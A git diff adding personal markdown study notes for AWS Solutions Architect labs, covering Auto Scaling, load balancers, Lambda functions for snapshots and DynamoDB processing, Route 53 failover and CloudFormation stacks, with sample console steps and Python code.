group will be automatically propagated to the instances that are launched. + - **Key**: Name + - **Value**: Lab Instance + - Click Review + - Review the details of your Auto Scaling group, then click Create Auto Scaling group. If you encounter an error Failed to create Auto Scaling group, then click Retry Failed Tasks. + - Auto Scaling group has been created. + +> Your Auto Scaling group will initially show an instance count of zero, but new instances will be launched to reach the Desired count of 2 instances. + + +### Task 4: Verify that Load Balancing is Working +Instances: two new instances named Lab Instance. These were launched by Auto Scaling. If the instances or names are not displayed, wait 30 seconds and click refresh in the top-right. + +- confirm that the new instances have passed their Health Check. +- Target Groups (in the Load Balancing section). + - **LabGroup** + - Click the **Targets** tab. + - Two Lab Instance targets should be listed for this target group. + - Wait until the Status of both instances transitions to healthy. Click Refresh in the upper-right to check for updates. + - Healthy indicates that an instance has passed the Load Balancer's health check. This means that the Load Balancer will send traffic to the instance. + +now access the Auto Scaling group via the Load Balancer. +- In the left navigation pane, click Load Balancers. +- copy the **DNS** name of the load balancer, making sure to omit "(A Record)". `LabELB-931928727.us-east-1.elb.amazonaws.com` +- Open in web browser + +The application should appear in your browser. This indicates that the Load Balancer received the request, sent it to one of the EC2 instances, then passed back the result. + + +### Task 5: Test Auto Scaling + +created an Auto Scaling group with a minimum of two instances and a maximum of six instances. Currently two instances are running because the minimum size is two and the group is currently not under any load. + +now increase the load to cause Auto Scaling to add additional instances. + +Return to the AWS management console, do not close the application tab + +- Services -> **CloudWatch** -> click Alarms (not ALARM). + - Two alarms displayed. created automatically by the Auto Scaling group. They will automatically keep the average CPU load close to 60% while also staying within the limitation of having two to six instances. +> Note: Please follow these steps only if you do not see the alarms in 60 seconds. +On the Services menu, click EC2. +In the left navigation pane, click Auto Scaling Groups and then click on Scaling Policies. +Click Actions⌄ and Edit. +Change the Target Value to 50. +Click Save. +On the Services menu, click CloudWatch. +In the left navigation pane, click Alarms (not ALARM) and verify you see two alarms. + +- Click the **OK alarm**: which has AlarmHigh in its name. + - The OK indicates that the alarm has not been triggered. + - It is the alarm for CPU Utilization > 60, which will add instances when average CPU is high. The chart should show very low levels of CPU at the moment. +- now tell the application to perform calculations that should raise the CPU level. +- Return to the browser tab with the web application. +- Click **Load Test** beside the AWS logo. + - This will cause the application to generate high loads. The browser page will automatically refresh so that all instances in the Auto Scaling group will generate load. Do not close this tab. +- Return to browser tab with the **CloudWatch console**. + - In less than 5 minutes, the AlarmLow alarm should change to `OK` and the `AlarmHigh alarm` status should change to ALARM. +- the AlarmHigh chart indicating an increasing CPU percentage. +- Once it crosses the 60% line for more than 3 minutes, it will trigger Auto Scaling to add additional instances. +- Wait until the AlarmHigh alarm enters the ALARM state. +- now view the additional instance(s) that were launched. +- Services -> EC2. -> Instances. +- More than two instances labeled Lab Instance should now be running. The new instance(s) were created by Auto Scaling in response to the Alarm. + + +### Task 6: Terminate Web Server 1 + +In this task, you will terminate Web Server 1. This instance was used to create the AMI used by your Auto Scaling group, but it is no longer needed. + +Select Web Server 1 (and ensure it is the only instance selected). + +In the Actions menu, click Instance State > Terminate. + +Click Yes, Terminate + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/AWS_Lab/2020-07-16-Lab-AWSCloudSolutionArchitect.md b/_posts/01Cloud/01AWS/AWS_Lab/2020-07-16-Lab-AWSCloudSolutionArchitect.md new file mode 100644 index 00000000000..a746f675d3a --- /dev/null +++ b/_posts/01Cloud/01AWS/AWS_Lab/2020-07-16-Lab-AWSCloudSolutionArchitect.md @@ -0,0 +1,815 @@ +--- +title: AWS Lab - for SAA +date: 2020-07-16 11:11:11 -0400 +categories: [01AWS, AWSLab] +tags: [AWS, Lab] +math: true +image: +--- + +# Lab for SAA + +- [Lab for SAA](#lab-for-saa) +- [lab 1: Making Your Environment Highly Available](#lab-1-making-your-environment-highly-available) + - [Task 1: Inspect Your environment](#task-1-inspect-your-environment) + - [Task 2: Login to EC2 instance](#task-2-login-to-ec2-instance) + - [Task 3: Download, Install, and Launch Your Web Server's PHP Application](#task-3-download-install-and-launch-your-web-servers-php-application) + - [Task 4: Create an Amazon Machine Image (AMI)](#task-4-create-an-amazon-machine-image-ami) + - [Task 5: Configure a Second Availability Zone](#task-5-configure-a-second-availability-zone) + - [Task 6: Create an Application Load Balancer](#task-6-create-an-application-load-balancer) + - [Task 7: Create an Auto Scaling Group](#task-7-create-an-auto-scaling-group) + - [Task 8: Test the Application](#task-8-test-the-application) + - [Task 9: Test High Availability](#task-9-test-high-availability) +- [lab2: Using Notifications to Trigger AWS Lambda](#lab2-using-notifications-to-trigger-aws-lambda) + - [Task 1: Create an SNS Topic](#task-1-create-an-sns-topic) + - [Task 2: Configure Auto Scaling to Send Events](#task-2-configure-auto-scaling-to-send-events) + - [Task 3: An IAM Role for the Lambda function](#task-3-an-iam-role-for-the-lambda-function) + - [Task 4: Create a Lambda Function](#task-4-create-a-lambda-function) + - [Task 5: Scale-Out the Auto Scaling Group to Trigger the Lambda function](#task-5-scale-out-the-auto-scaling-group-to-trigger-the-lambda-function) +- [lab 7 Implementing a Serverless Architecture with AWS Managed Services](#lab-7-implementing-a-serverless-architecture-with-aws-managed-services) + - [Task 1: Create a Lambda Function to Process a Transactions File](#task-1-create-a-lambda-function-to-process-a-transactions-file) + - [Task 2: Create a Lambda Function to Calculate Transaction Totals and Notify About High Account Balances](#task-2-create-a-lambda-function-to-calculate-transaction-totals-and-notify-about-high-account-balances) + - [Task 3: Create a Simple Notification Service (SNS) Topic](#task-3-create-a-simple-notification-service-sns-topic) + - [Task 4: Create Two Simple Queue Service Queues](#task-4-create-two-simple-queue-service-queues) + - [Task 5: Testing the Serverless Architecture by Uploading a Transactions File](#task-5-testing-the-serverless-architecture-by-uploading-a-transactions-file) +- [lab 8: multi-Region failover with Amazon Route 53](#lab-8-multi-region-failover-with-amazon-route-53) + - [Task 1: Inspect Your Environment](#task-1-inspect-your-environment-1) + - [Task 2: Configure a Health Check](#task-2-configure-a-health-check) + - [Task 3: Configure your Domain in Route 53](#task-3-configure-your-domain-in-route-53) + - [Task 4: Check the DNS Resolution](#task-4-check-the-dns-resolution) + - [Task 5 - Test Your Failover](#task-5---test-your-failover) + + +--- + +# lab 1: Making Your Environment Highly Available + +Objectives +Create an image of an existing Amazon EC2 instance and use it to launch new instances. +Expand an Amazon VPC to additional Availability Zones. +Create VPC Subnets and Route Tables. +Create an AWS NAT Gateway. +Create a Load Balancer. +Create an Auto Scaling group. + +![P1](https://i.imgur.com/4BEx0e4.jpg) + +## Task 1: Inspect Your environment +This lab begins with an environment already deployed via AWS CloudFormation including: +- An Amazon VPC +- A public subnet and a private subnet in one Availability Zone +- An Internet Gateway associated with the public subnet +- A NAT Gateway in the public subnet +- An Amazon EC2 instance in the public subnet + +![P2](https://i.imgur.com/goKUVbr.jpg) + +--- + +**Task 1.1: Inspect Your VPC** +1. AWS Management Console > Services menu > VPC > Your VPCs. + - In the IPv4 CIDR column: 10.200.0.0/20, which means this VPC includes 4,096 IPs between 10.200.0.0 and 10.200.15.255 (with some reserved and unusable). + - also attached to a Route Table and a Network ACL. + - also has a Tenancy of default, instances launched into this VPC will by default use shared tenancy hardware. + +2. AWS Management Console > Services menu > VPC > Subnets. + - **Public Subnet** 1 subnet: + - VPC column, subnet exists inside of Lab VPC. + - IPv4 CIDR column: 10.200.0.0/24, which means this subnet includes the 256 IPs (5 of which are reserved and unusable) between 10.200.0.0 and 10.200.0.255. + - Availability Zone column: the Availability Zone in which this subnet resides. + - Click on the row containing Public Subnet 1 to reveal more details at the bottom of the page. + - Route Table tab + - Destination Target + - 10.200.0.0/20 local + - 0.0.0.0/0 igw- + - Network ACL tab + - pic + +1. AWS Management Console > Services menu > VPC > **Internet Gateways.** + - pic + +2. AWS Management Console > Services menu > VPC > **Security Groups** + - Click Configuration Server SG. + - Inbound Rules tab + - pic + - Outbound Rules tab. + - pic + - + +**Task 1.2: Inspect Your Amazon EC2 Instance** + +1. Services menu > EC2 > click Instances. + - In the Actions menu, click Instance Settings > View/Change User Data. + - no User Data appears + - the instance has not yet been configured to run your web application. + - When launching an Amazon EC2 instance, you can provide a User Data script that is executed when the instance first starts and is used to configure the instance. However, in this lab you will configure the instance yourself! + + + + + +## Task 2: Login to EC2 instance + +```c +cd ~/Downloads +chmod 400 labsuser.pem +ssh -i labsuser.pem ec2-user@ +``` + + + + +## Task 3: Download, Install, and Launch Your Web Server's PHP Application + +```c +sudo yum -y update + +sudo yum -y install httpd php +// To install a package that creates a web server + +sudo chkconfig httpd on +// configures the Apache web server to automatically start when the instance starts. + +wget https://aws-tc-largeobjects.s3-us-west-2.amazonaws.com/CUR-TF-200-ACACAD/studentdownload/phpapp.zip +// downloads a zip file containing the PHP web application. + + +sudo unzip phpapp.zip -d /var/www/html/ +// unzips the PHP application into the default Apache web server directory. + +sudo service httpd start +// This starts the Apache web server. +``` + + +Your web application is now configured + +now access application to confirm that it is working. + + +The web application should appear and will display information about your location (actually, the location of your Amazon EC2 instance). This information is obtained from freegeoip.app. + +pic + +Return to your SSH session, execute the following command: + +exit +This ends your SSH session. + + + + +## Task 4: Create an Amazon Machine Image (AMI) + +web application is configured on your instance + +to clone instances to run an application on multiple instances, even across multiple Availability Zones. + +create an AMI from your Amazon EC2 instance. You will later use this image to launch additional, fully-configured instances to provide a Highly Available solution. + +1. EC2 Management Console > Configuration Server is selected, and click Actions > Image > Create Image. + - a Root Volume is currently associated with the instance. This volume will be copied into the AMI. + - For Image name, type: Web application + - Leave other values at their default settings and click Create Image. + - pic + + + + +## Task 5: Configure a Second Availability Zone +To build a highly available application, it is a best practice to launch resources in multiple Availability Zones. + +duplicate your network environment into a second Availability Zone. +You will create: +- A second public subnet +- A second private subnet +- A second NAT Gateway +- A second private Route Table +- 2nd AZ +- pic + + +**Task 5.1: Create a second Public Subnet** +1. Services menu > VPC > Subnets. + +2. Create Subnet. + - pic + - pic + + + +**Task 5.2: Create a Second Private Subnet** +1. Create subnet. + - pic + + + +**Task 5.3: Create a Second NAT Gateway** +1. left navigation pane, click NAT Gateways. + +2. Create NAT Gateway. + - pic + + +**Task 5.4: Create a Second Private Route Table** + +1. In the navigation pane, click Route Tables. +2. Create route table. + - pic + + +3. Highlight the Private Route Table 2 > Routes tab > Edit routes. + - pic + + +4. Highlight the Private Route Table 2 > Subnet Associations tab > Edit subnet associations. + - Select (tick) the checkbox beside `Private Subnet 2`. + - pic + +5. Private Subnet 2 will now route Internet-bound traffic through the second NAT Gateway. + + + + + + + +## Task 6: Create an Application Load Balancer + +pic + +do not have any instances yet +- created by the Auto Scaling group in the next task. + + +1. Services menu > EC2 > Load Balancers + - Create Load Balancer > Application Load Balancer + - pic + +- Next: Configure Security Settings + - Select: Security group for the web servers + - Note: This Security Group permits only HTTP incoming traffic, so it can be used on both the Load Balancer and the web servers. + +- Click Next: Configure Routing. +- pic + + + + +## Task 7: Create an Auto Scaling Group + +pic + +1. In the left navigation pane > Auto Scaling Groups > Create Auto Scaling group > My AMIs > Web application + - Accept the default (t2.micro) instance type and click Next: Configure details . + - Name: Web-Configuration + - Click Next: Add Storage. + - Click Next: Configure Security Group. + - Click Select an existing security group. + - Select the Security Group with a Description of Security group for the web servers. + - Click Review. + - Create launch configuration. + - accept the vockey keypair, select the acknowledgement check box, then click Create launch configuration. + +2. create the Auto Scaling group. + - pic + - pic + +Ensure Keep this group at its initial size is selected. + +> This configuration tells Auto Scaling to always maintain two instances in the Auto Scaling group. This is ideal for a Highly Available application because the application will continue to operate even if one instance fails. In such an event, Auto Scaling will automatically launch a replacement instance. + +Click Next: Configure Notifications. + +Click Next: Configure Tags. +- For Key, type: Name +- For Value, type: Web application + +Click Review. +click Create Auto Scaling group. + +Auto Scaling group will initially show zero instances. +should soon update to two instances. + +Your application will soon be running across two Availability Zones and Auto Scaling will maintain that configuration even if an instance or Availability Zone fails. + + +## Task 8: Test the Application +1. left navigation pane > Target Groups. + +Click the Targets tab in the lower half of the window. + +You should see two Registered instances. The Status column shows the results of the Load Balancer Health Check that is performed against the instances. + +Occasionally click the refresh icon in the top-right until the Status for both instances appears as healthy. + If the status does not eventually change to healthy, ask your instructor for assistance in diagnosing the configuration. Hovering over the icon in the Status column will provide more information about the status. + +testing the application by connecting to the Load Balancer, which will then send your request to one of the Amazon EC2 instances. You will need to retrieve the DNS Name of the Load Balancer. + +2. left navigation pane > Load Balancers > copy the DNS Name: LB1-xxxx.elb.amazonaws.com + - Open a new web browser tab, paste + - The Load Balancer forwarded your request to one of the Amazon EC2 instances. The Instance ID and Availability Zone are shown at the bottom of the web application. + - `You are connected to instance i-0315fbffecb6ab3af in us-east-1a.` + - Reload the page in your web browser. You should notice that the Instance ID and Availability Zone sometimes changes between the two instances. + - `You are connected to instance i-082fccc5cfb52db95 in us-east-1b.` + + +The flow of information when displaying this web application is: +pic + +Data flow +- sent the request to the Load Balancer, which resides in the public subnets that are connected to the Internet. +- The Load Balancer chose one of the Amazon EC2 instances that reside in the private subnets and forwarded the request to it. +- EC2 instance requested geographic information from freegeoip.app. This request went out to the Internet through the NAT Gateway in the same Availability Zone as the instance. +- The Amazon EC2 instance then returned the web page to the Load Balancer, which returned it to your web browser. + + +## Task 9: Test High Availability + +Your application has been configured to be Highly Available. This can be proven by stopping one of the Amazon EC2 instances. + +1. EC2 Management Console > Instances > Select the `Configuration Server` > Actions > Instance State > Terminate + +2. In a short time, the Load Balancer will notice that the instance is not responding and will automatically route all requests to the remaining instance. + + + + + +--- + +# lab2: Using Notifications to Trigger AWS Lambda + + +pic + +pic + +Many AWS services can automatically generate notifications when events occur. +- These notifications can be used to trigger automated actions without requiring human intervention. +- create an **AWS Lambda function** that automatically **snapshot and tag new Amazon EC2 instances** launched by Auto Scaling. + +The lab scenario is: +- An Auto Scaling group has already been configured. +- trigger Auto Scaling to scale-out and launch a new EC2 instance. +- This will send a notification to an Amazon Simple Notification Service (SNS) topic. +- The SNS topic will trigger an **AWS Lambda function** which will: + - Create a snapshot of the Amazon EBS volumes attached to the instance. + - Add a tag to the instance. + - Sent log information to Amazon CloudWatch Logs. + + + + +## Task 1: Create an SNS Topic +create an Amazon Simple Notification Service (SNS) **topic** that the Auto Scaling group will use as a notification target. + +1. AWS Management Console > Services > Simple Notification Service > to reveal the Amazon SNS menu > Topics > Create topic. + - pic + +The topic is now ready to receive notifications. + + + +## Task 2: Configure Auto Scaling to Send Events + +- configure an Auto Scaling group to + - send notifications to the SNS topic + - when new EC2 instances are launched in the group. + +1. AWS Management Console > EC2 > Auto Scaling Groups > the Auto Scaling group created > Notifications tab > Create notification. + - pic + + + +## Task 3: An IAM Role for the Lambda function + +An IAM role named `SnapAndTagRole` that has permission to perform operations on EC2 instances and to log messages in Amazon CloudWatch Logs has been pre-created for you. +You will later associate this role with your Lambda function. + + + +## Task 4: Create a Lambda Function +- create an **AWS Lambda function** that will be invoked by Amazon SNS when Auto Scaling launches a new EC2 instance. +- The Lambda function will create a snapshot of the Amazon EBS volumes attached to the instance and then add a tag to the instance. + +1. AWS Management Console > Lambda > Create a function > Author from scratch + - pic + +This role grants permission to the Lambda function to create an EBS Snapshot and to tag the EC2 instance. + + +> Blueprints +> code templates for writing Lambda functions. Blueprints are provided for standard Lambda triggers such as creating Alexa skills and processing Amazon Kinesis Firehose streams. + + +2. Function code section: + +```py +# Snap_and_Tag Lambda function +# +# This function is triggered when Auto Scaling launches a new instance. +# A snapshot of EBS volumes will be created and a tag will be added. + +from __future__ import print_function + +import json, boto3 + +def lambda_handler(event, context): + print("Received event: " + json.dumps(event, indent=2)) + + # Extract the EC2 instance ID from the Auto Scaling event notification + message = event['Records'][0]['Sns']['Message'] + autoscalingInfo = json.loads(message) + ec2InstanceId = autoscalingInfo['EC2InstanceId'] + + # Snapshot all EBS volumes attached to the instance + ec2 = boto3.resource('ec2') + for v in ec2.volumes.filter(Filters=[{'Name': 'attachment.instance-id', 'Values': [ec2InstanceId]}]): + description = 'Autosnap-%s-%s' % ( ec2InstanceId, v.volume_id ) + + if v.create_snapshot(Description = description): + print("\t\tSnapshot created with description [%s]" % description) + + # Add a tag to the EC2 instance: Key = Snapshots, Value = Created + ec2 = boto3.client('ec2') + response = ec2.create_tags( + Resources=[ec2InstanceId], + Tags=[{'Key': 'Snapshots', 'Value': 'Created'}] + ) + print ("***Tag added to EC2 instance with id: " + ec2InstanceId) + + # Finished! + return ec2InstanceId + +``` +Examine the code. +- Extract the EC2 instance ID from the notification message +- Create a snapshot of all EBS volumes attached to the instance +- Add a tag to the instance to indicate that snapshots were created + +3. the Basic settings section at the bottom + - pic + +4. configure the trigger that will activate the Lambda function. + - Add triggers at the top of the page. + - Configure triggers + - SNS topic: ScaleEvent + +Note: the topic may already be pre-populated in the text box. + +Amazon SNS will invoke this Lambda function when the ScaleEvent topic receives a notification from Auto Scaling. + +Your Lambda function will now automatically execute whenever Auto Scaling launches a new instance. + + +## Task 5: Scale-Out the Auto Scaling Group to Trigger the Lambda function + +- increase the desired capacity of the Auto Scaling group. +- This will cause the Auto Scaling group to launch a new Amazon EC2 instance to meet the increased capacity requirement. +- Auto Scaling will then send a notification to the ScaleEvent SNS topic. +- Amazon SNS will then invoke the Snap_and_Tag Lambda function. + + +1. AWS Management Console > EC2 > Auto Scaling Groups > Details tab > click Edit > Desired Capacity: `2` + - cause Auto Scaling to launch an additional Amazon EC2 instance. + - the Activity History tab and monitor the progress of the new EC2 instance that is being launched. + - Wait for the status to change to show 2 rows with a Status of Successful. You can occasionally click refresh to update the status. + - pic + +Once the status has updated, you can confirm that the Lambda function executed correctly. + +2. AWS Management Console > Instances > the instance that has the most recent launch time > Tags tab + - see a tag with Snapshots as the key, and Created as the value. + - This tag was added to the EC2 instance by your Lambda function. + +3. AWS Management Console > Snapshots. + - two snapshots that were created by the Lambda function. + - Your Auto Scaling group successfully triggered the Lambda function, which created the tag and snapshots. + - This provides an example serverless solution on AWS. + + +--- + +# lab 7 Implementing a Serverless Architecture with AWS Managed Services +![Screen Shot 2020-07-12 at 23.22.49](https://i.imgur.com/zAKe31Q.png) + +- The scenario workflow is: + - upload a transactions file to an **Amazon S3 bucket** + - This will trigger an **AWS Lambda function** that read the file and insert records into two **Amazon DynamoDB tables** + - This will trigger another **AWS Lambda function** that calculate customer totals and will send a message to an **Amazon Simple Notification Service (SNS) Topic** if the account balance is over $1500 + - **Amazon SNS** will send an email notification and will store a message in **Amazon Simple Queue Service (SQS) queues** to notify the customer and your credit collection department. + + +## Task 1: Create a Lambda Function to Process a Transactions File + +pic + +- create an **AWS Lambda function** to process a transactions file. + - The Lambda function will read the file and insert information into the Customer and Transactions DynamoDB tables. + +Step: + +1. AWS Management Console > Lambda +2. Create a function > `Author from scratch` +3. Configure the following: + - Name: `TransactionProcessor` + - Runtime: `Python 2.7` + - Execution Role: `Choose Use an existing role` + - Existing role: `TransactionProcessorRole` +4. **Function code section** + +```py +# TransactionProcessor Lambda function +# This function is triggered by an object being created in an Amazon S3 bucket. +# The file is downloaded and each line is inserted into DynamoDB tables. + +from __future__ import print_function +import json, urllib, boto3, csv + +# Connect to S3 and DynamoDB +s3 = boto3.resource('s3') +dynamodb = boto3.resource('dynamodb') + +# Connect to the DynamoDB tables +customerTable = dynamodb.Table('Customer'); +transactionsTable = dynamodb.Table('Transactions'); + +# This handler is executed every time the Lambda function is triggered +def lambda_handler(event, context): + + # Show the incoming event in the debug log + print("Event received by Lambda function: " + json.dumps(event, indent=2)) + + # Get the bucket and object key from the Event + bucket = event['Records'][0]['s3']['bucket']['name'] + key = urllib.unquote_plus(event['Records'][0]['s3']['object']['key']).decode('utf8') + localFilename = '/tmp/transactions.txt' + + # Download the file from S3 to the local filesystem + try: + s3.meta.client.download_file(bucket, key, localFilename) + except Exception as e: + print(e) + print('Error getting object {} from bucket {}. Make sure they exist and your bucket is in the same region as this function.'.format(key, bucket)) + raise e + + # Read the Transactions CSV file. Delimiter is the '|' character + with open(localFilename) as csvfile: + reader = csv.DictReader(csvfile, delimiter='|') + + # Read each row in the file + rowCount = 0 + for row in reader: + rowCount += 1 + + # Show the row in the debug log + print(row['customer_id'], row['customer_address'], row['trn_id'], row['trn_date'], row['trn_amount']) + + try: + # Insert Customer ID and Address into Customer DynamoDB table + customerTable.put_item( + Item={ + 'CustomerId': row['customer_id'], + 'Address': row['customer_address']}) + + # Insert transaction details into Transactions DynamoDB table + transactionsTable.put_item( + Item={ + 'CustomerId': row['customer_id'], + 'TransactionId': row['trn_id'], + 'TransactionDate': row['trn_date'], + 'TransactionAmount': int(row['trn_amount'])}) + + except Exception as e: + print(e) + print("Unable to insert data into DynamoDB table".format(e)) + + # Finished! + return "%d transactions inserted" % rowCount +``` + +5. Basic settings + - pic + +6. Add triggers > S3 + - pic + + +## Task 2: Create a Lambda Function to Calculate Transaction Totals and Notify About High Account Balances + +pic + +- create an **AWS Lambda function** to calculate transaction totals and send a **Simple Notification Service** notification if an account balance exceeds $1500. + +1. AWS Management Console > Lambda +2. Create a function > `Author from scratch` +3. Configure the following + - pic + +4. **Function code** section + +```py +# TotalNotifier Lambda function +# +# This function is triggered when values are inserted into the Transactions DynamoDB table. +# Transaction totals are calculated and notifications are sent to SNS if limits are exceeded. + +from __future__ import print_function +import json, boto3 + +# Connect to SNS +sns = boto3.client('sns') +alertTopic = 'HighBalanceAlert' +snsTopicArn = [t['TopicArn'] for t in sns.list_topics()['Topics'] if t['TopicArn'].endswith(':' + alertTopic)][0] + +# Connect to DynamoDB +dynamodb = boto3.resource('dynamodb') +transactionTotalTableName = 'TransactionTotal' +transactionsTotalTable = dynamodb.Table(transactionTotalTableName); + +# This handler is executed every time the Lambda function is triggered +def lambda_handler(event, context): + + # Show the incoming event in the debug log + print("Event received by Lambda function: " + json.dumps(event, indent=2)) + + # For each transaction added, calculate the new Transactions Total + for record in event['Records']: + customerId = record['dynamodb']['NewImage']['CustomerId']['S'] + transactionAmount = int(record['dynamodb']['NewImage']['TransactionAmount']['N']) + + # Update the customer's total in the TransactionTotal DynamoDB table + response = transactionsTotalTable.update_item( + Key={ + 'CustomerId': customerId + }, + UpdateExpression="add accountBalance :val", + ExpressionAttributeValues={ + ':val': transactionAmount + }, + ReturnValues="UPDATED_NEW" + ) + + # Retrieve the latest account balance + latestAccountBalance = response['Attributes']['accountBalance'] + print("Latest account balance: " + format(latestAccountBalance)) + + # If balance > $1500, send a message to SNS + if latestAccountBalance >= 1500: + + # Construct message to be sent + message = '{"customerID": "' + customerId + '", ' + '"accountBalance": "' + str(latestAccountBalance) + '"}' + print(message) + + # Send message to SNS + sns.publish( + TopicArn=snsTopicArn, + Message=message, + Subject='Warning! Account balance is very high', + MessageStructure='raw' + ) + + # Finished! + return 'Successfully processed {} records.'.format(len(event['Records'])) +``` + +6. Basic settings section + - pic + +7. Add trigger + - pic + + + + + +## Task 3: Create a Simple Notification Service (SNS) Topic + +pic + + +- create a **Simple Notification Service (SNS)** topic that will receive a notification from your Lambda function when an account balance exceeds $1500. You will also subscribe to the topic with an email and via SMS. + +1. Services > Simple Notification Service. +2. Create topic + - pic + +3. Create subscription + - pic + + + + +## Task 4: Create Two Simple Queue Service Queues + +pic + +- create two Simple Queue Service (SQS) queues. + - subscribe 3 queues to the Simple Notification Service (SNS) topic created. + - This setup is known as a fan-out scenario because each SNS notification is sent to multiple subscribers and those subscribers can independently consume messages from their own queue. + +1. Simple Queue Service +2. create queue + - Queue Name, type: `CreditCollection` + - Queue Name, type: `CustomerNotify` +3. Subscribe Queues to SNS Topic. + - pic + + +## Task 5: Testing the Serverless Architecture by Uploading a Transactions File + + +--- + +# lab 8: multi-Region failover with Amazon Route 53 + +1. Inspecting resources in `two Regions`. +2. Creating an **Amazon Route 53** `health check` +3. Creating an **Amazon Route 53** `domain`. +4. Configuring `primary and secondary settings`. +5. And testing the failover + +![Screen Shot 2020-07-18 at 22.48.39](https://i.imgur.com/HmhQ9lz.png) + + +Objectives + +After completing this lab, you will be able to: +- Use Route 53 to configure cross-region failover of a web application. +- Use Route 53 health checks to determine the health of a resource. + +## Task 1: Inspect Your Environment + +![mdtable1](https://i.imgur.com/1PZSWg4.png) + +- Web-Application-1 + - IPv4 Public IP: `34.234.178.0` +- Web-Application-2 + - IPv4 Public IP: `35.163.208.11` + +## Task 2: Configure a Health Check + +Route 53 > Health checks +![Screen Shot 2020-07-18 at 23.28.51](https://i.imgur.com/h3kV6Bt.png) + +## Task 3: Configure your Domain in Route 53 + +Route 53 > Hosted zones > `domain name` + +1. create a `DNS A-record` to `point to your Primary web server`. + - An `A-record` resolves a domain name by returning an IP address. + - also associate this Record Set with the Health Check so traffic will only be sent to your Primary web server if the Health Check indicates that the server is healthy. + +![Screen Shot 2020-07-18 at 23.47.42](https://i.imgur.com/GTBwLHZ.png) + +2. create a `DNS A-record` to `point to your 2nd web server`. + +![Screen Shot 2020-07-18 at 23.49.27](https://i.imgur.com/9u8PE2F.png) + +3. check `heath check` > Health checkers tab + - The health check is performed independently from multiple locations around the world, with each location requesting the page every 10 seconds. + + +## Task 4: Check the DNS Resolution + +Hosted zones > domain > Test Record Set. +- Check response from Route 53 +- Record name: `www` +- Type: `A` +- Get response. +- Response returned by Route 53 value. Confirm that it is the same IP address as your Primary web server. + + +## Task 5 - Test Your Failover + +1. stop Primary web server instance + +![Screen Shot 2020-07-19 at 00.01.03](https://i.imgur.com/rD1UwFN.png) + +2. test again + +3. 2nd web server ip. + + + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/AWS_Lab/AWS-CloudFormation/2020-07-16-Lab-AWSCloudFormation.md b/_posts/01Cloud/01AWS/AWS_Lab/AWS-CloudFormation/2020-07-16-Lab-AWSCloudFormation.md new file mode 100644 index 00000000000..ccf75b366a3 --- /dev/null +++ b/_posts/01Cloud/01AWS/AWS_Lab/AWS-CloudFormation/2020-07-16-Lab-AWSCloudFormation.md @@ -0,0 +1,218 @@ +--- +title: AWS Lab - AWS CloudFormation +date: 2020-07-16 11:11:11 -0400 +categories: [01AWS, AWSLab] +tags: [AWS, Lab] +math: true +image: +--- + +# AWS CloudFormation + +- [AWS CloudFormation](#aws-cloudformation) + - [auto infrastructure development](#auto-infrastructure-development) + - [Task 1: Deploy a Networking Layer](#task-1-deploy-a-networking-layer) + - [Task 2: Deploy an Application Layer](#task-2-deploy-an-application-layer) + - [Task 3: Update a Stack](#task-3-update-a-stack) + - [Task 4: Explore Templates with AWS CloudFormation Designer](#task-4-explore-templates-with-aws-cloudformation-designer) + - [Task 5: Delete the Stack](#task-5-delete-the-stack) + +--- + +## auto infrastructure development + +### Task 1: Deploy a Networking Layer +deploy infrastructure in layers. Common layers are: +- Network (Amazon VPC) +- Database +- Application + +This way, templates can be re-used between systems, such as `deploying a common network topology between Dev/Test/Production` or `deploying a standard database for multiple application`. + + +1. deploy an AWS CloudFormation template that creates a Networking layer using Amazon VPC. + - `lab-network.yaml` + +2. AWS Management Console > Services > CloudFormation + +3. Create stack and configure: + - Step 1: Specify template + - Template source: `Upload a template file` + - Upload a template file: `lab-network.yaml` + - Click Next + - Step 2: Create Stack + - Stack name: `lab-network` + - Click Next + - Step 3: Configure stack options + - Tags: + - Key: application + - Value: inventory + - Click Next + - Step 4: Review lab-network + - Click Create stack + +4. The `template` will now be used by `CloudFormation` to `generate a stack of resources`. + - The specified tags will be automatically propagated to the resources that are created, easier to identify resources used by particular applications. + +![Screen Shot 2020-07-10 at 08.33.46](https://i.imgur.com/NmqccXZ.png) + +5. **Resources** tab. + - list of the `resources` created by the template. + +![Screen Shot 2020-07-10 at 08.35.02](https://i.imgur.com/Ea92PCU.png) + +6. **Events** tab + - The list shows (in reverse order) the activities performed by CloudFormation, + - such as starting to create a resource and then completing the resource creation. + - Any errors encountered during the creation of the stack will be listed in this tab. + +7. **Outputs** tab. + - A CloudFormation stack can provide output information, such as the ID of specific resources and links to resources. + - You will see two outputs: + - PublicSubnet: The ID of the Public Subnet that was created (eg subnet-08aafd57f745035f1) + - VPC: The ID of the VPC that was created (eg vpc-08e2b7d1272ee9fb4) + - Outputs can also provide values that will be used by other stacks. + - Export name column. + - the VPC and Subnet IDs are given an export name so that other stacks can retrieve the values and build resources inside the VPC and Subnet. + +8. **Template** tab. + - the template that was used to create the stack. It shows the template that you uploaded while creating the stack. Feel free to examine the template and see the resources that were created, and the Outputs section at the end that defined which values to export. + + +### Task 2: Deploy an Application Layer +deploy an application layer that contains an EC2 instance and a Security Group. + +The CloudFormation template: `lab-application.yaml` +- will `import the VPC and Subnet IDs` from the Outputs of the existing CloudFormation stack. +- will then use this information to create the Security Group in the VPC and the EC2 instance in the Subnet. + +1. Stacks + +2. Create stack and configure: + - Step 1: Specify template + - Template source: `Upload a template file` + - Upload a template file: `lab-application.yaml` + - Click Next + - Step 2: Specify stack details + - Stack name: `lab-application` + - **NetworkStackName**: `lab-network` + - Click Next + - The **NetworkStackName** parameter tells the template the name of the first stack you created (lab-network) so that it can retrieve values from the Outputs. + - Step 3: Configure stack options + - Tags: + - Key: `application` + - Value: `inventory` + - Click Next + - Step 4: Review lab-application + - Click Create stack + +3. application is now ready! + +4. Outputs tab. + - Copy the URL that is displayed, then open a new web browser tab, paste the URL and press Enter. + - A new browser tab will open, taking you to the application running on the web server. + +![Screen Shot 2020-07-10 at 09.17.57](https://i.imgur.com/JP6vFIz.png) + + +### Task 3: Update a Stack +CloudFormation can also update a stack that has been deployed. +- When updating a stack, CloudFormation will only modify or replace the resources that are being changed. Any resources that are not being changed will be left as-is. + +update the lab-application stack to modify a setting in the Security Group. CloudFormation will leave all other resources as-is, without being modified by the update. + +1. examine the current settings on the Security Group. + - AWS Management Console > Services > EC2 > Security Groups > Web Server Security Group. + +2. Inbound tab. + - only one rule in the Security Group, which permits HTTP traffic. + +3. return to CloudFormation to update the stack. + - Services > 